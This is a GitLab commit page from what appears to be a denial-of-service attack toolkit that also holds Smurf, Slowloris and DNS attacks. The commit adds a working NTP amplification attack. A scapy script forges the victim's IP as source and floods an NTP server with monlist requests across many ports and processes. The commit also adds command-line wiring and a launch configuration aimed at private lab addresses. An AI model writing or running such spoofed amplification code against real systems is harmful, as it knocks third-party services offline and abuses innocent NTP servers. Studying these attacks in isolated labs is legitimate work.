Skip to content
Snippets Groups Projects
Commit 6a5da2a9 authored by Andri Joos's avatar Andri Joos :blush:
Browse files

add ntp

parent dee3d69c
No related branches found
No related tags found
No related merge requests found
......@@ -57,6 +57,26 @@
"-d",
"joos.io"
]
},
{
"name": "NTP",
"type": "python",
"request": "launch",
"program": "main.py",
"console": "integratedTerminal",
"justMyCode": true,
"sudo": true,
"args": [
"ntp",
"-v",
"10.0.3.12",
"-s",
"10.0.3.15",
"-x",
"30000",
"-r",
"5000"
]
}
]
}
\ No newline at end of file
from attacks.Attack import Attack
from attacks import Ntp
from scapy.all import IP, Raw, UDP, send
from multiprocessing import cpu_count, Process
class Ntp(Attack):
def __init__(self, victim_ip: str, ntp_ip: str, start_port: int, requests: int) -> None:
super(Ntp, self).__init__()
self._victim_ip = victim_ip
self._ntp_ip = ntp_ip
self._start_port = start_port
self._requests = requests
self._data = "\x17\x00\x03\x2a" + "\x00" * 4 # NTP v2 Monlist Packet
def run(self):
cpus = cpu_count()
requests_per_process = self._requests // cpus
for i in range(cpus):
start_port = self._start_port + i * requests_per_process
end_port = self._start_port + (i+1) * requests_per_process
process = Process(target=self._run_proc, args=(start_port, end_port))
process.start()
self._processes.append(process)
super()._wait_for_processes()
def _run_proc(self, start_port: int, end_port: int):
ip = IP(src=self._victim_ip, dst=self._ntp_ip)
raw = Raw(load=self._data)
for port in range(start_port, end_port):
ntp = UDP(sport=port, dport=123)
packet = ip/ntp/raw
send(packet, verbose=0)
print("Attacked from port {}".format(port))
......@@ -2,3 +2,4 @@ from attacks.Attack import Attack
from attacks.Smurf import Smurf
from attacks.Slowloris import Slowloris
from attacks.Dns import Dns
from attacks.Ntp import Ntp
from attacks import Smurf, Slowloris, Dns
from attacks import Smurf, Slowloris, Dns, Ntp
from argparse import ArgumentParser
def handle_smurf(victim_ip: str, broadcast_ip: str, func=None):
......@@ -10,6 +10,9 @@ def handle_slowloris(victim_ip: str, victim_port: int, start_port: int, requests
def handle_dns(victim_ip: str, dns_server: str, domain: str, func=None):
Dns(victim_ip, dns_server, domain).run()
def handle_ntp(victim_ip: str, ntp_server: str, start_port: int, requests: int, func=None):
Ntp(victim_ip, ntp_server, start_port, requests).run()
parser = ArgumentParser("python main.py")
subparsers = parser.add_subparsers(title="attack type")
......@@ -31,6 +34,13 @@ dns_parser.add_argument("--dns-server", "-s", action="store", type=str, required
dns_parser.add_argument("--domain", "-d", action="store", type=str, required=True)
dns_parser.set_defaults(func=handle_dns)
ntp_parser = subparsers.add_parser("ntp", aliases=["n"])
ntp_parser.add_argument("--victim-ip", "-v", action="store", type=str, required=True)
ntp_parser.add_argument("--ntp-server", "-s", action="store", type=str, required=True)
ntp_parser.add_argument("--start-port", "-x", action="store", type=int, required=True)
ntp_parser.add_argument("--requests", "-r", action="store", type=int, required=True)
ntp_parser.set_defaults(func=handle_ntp)
parsed_args = parser.parse_args()
args = vars(parsed_args)
parsed_args.func(**args)
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment